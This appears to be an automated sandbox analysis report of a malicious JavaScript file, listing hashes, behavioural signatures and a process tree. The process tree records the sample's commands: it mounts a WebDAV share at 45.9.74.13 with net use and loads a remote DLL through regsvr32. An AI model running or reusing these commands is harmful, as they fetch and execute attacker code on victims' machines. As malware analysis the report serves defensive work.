Analysis

  • max time kernel
    126s
  • max time network
    130s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-07-2024 13:27

General

  • Target

    3051510081283871707.js

  • Size

    5KB

  • MD5

    738fac756072ee7a1005acda25a51a4e

  • SHA1

    1eef910f2f7592c5a91c4a38c8c9ddaeb52888d5

  • SHA256

    4053d0a0c9471cc60a843bf856b2cc000f99df79e666453caa119d82fb3b64f0

  • SHA512

    b3e55539b8f598772a5070d74f31399e169b33547352922a16520cfb5e078aa6e8fada56f50ec24e9ee692f86264068d51d33cb1251c6582932974261084c758

  • SSDEEP

    96:fm8G/xgdlRtN2NNbzsHPDWIFaYLQKkyQB:fK/xOX0NbILWI8ikR

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3051510081283871707.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:436
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\3051510081283871707.js" "C:\Users\Admin\\cfvluv.bat" && "C:\Users\Admin\\cfvluv.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3012
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:2884
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\973.dll
          3⤵
            PID:3304
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4232,i,4018838247141480194,10874272319406041522,262144 --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:8
        1⤵
          PID:1640

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\cfvluv.bat

          Filesize

          5KB

          MD5

          738fac756072ee7a1005acda25a51a4e

          SHA1

          1eef910f2f7592c5a91c4a38c8c9ddaeb52888d5

          SHA256

          4053d0a0c9471cc60a843bf856b2cc000f99df79e666453caa119d82fb3b64f0

          SHA512

          b3e55539b8f598772a5070d74f31399e169b33547352922a16520cfb5e078aa6e8fada56f50ec24e9ee692f86264068d51d33cb1251c6582932974261084c758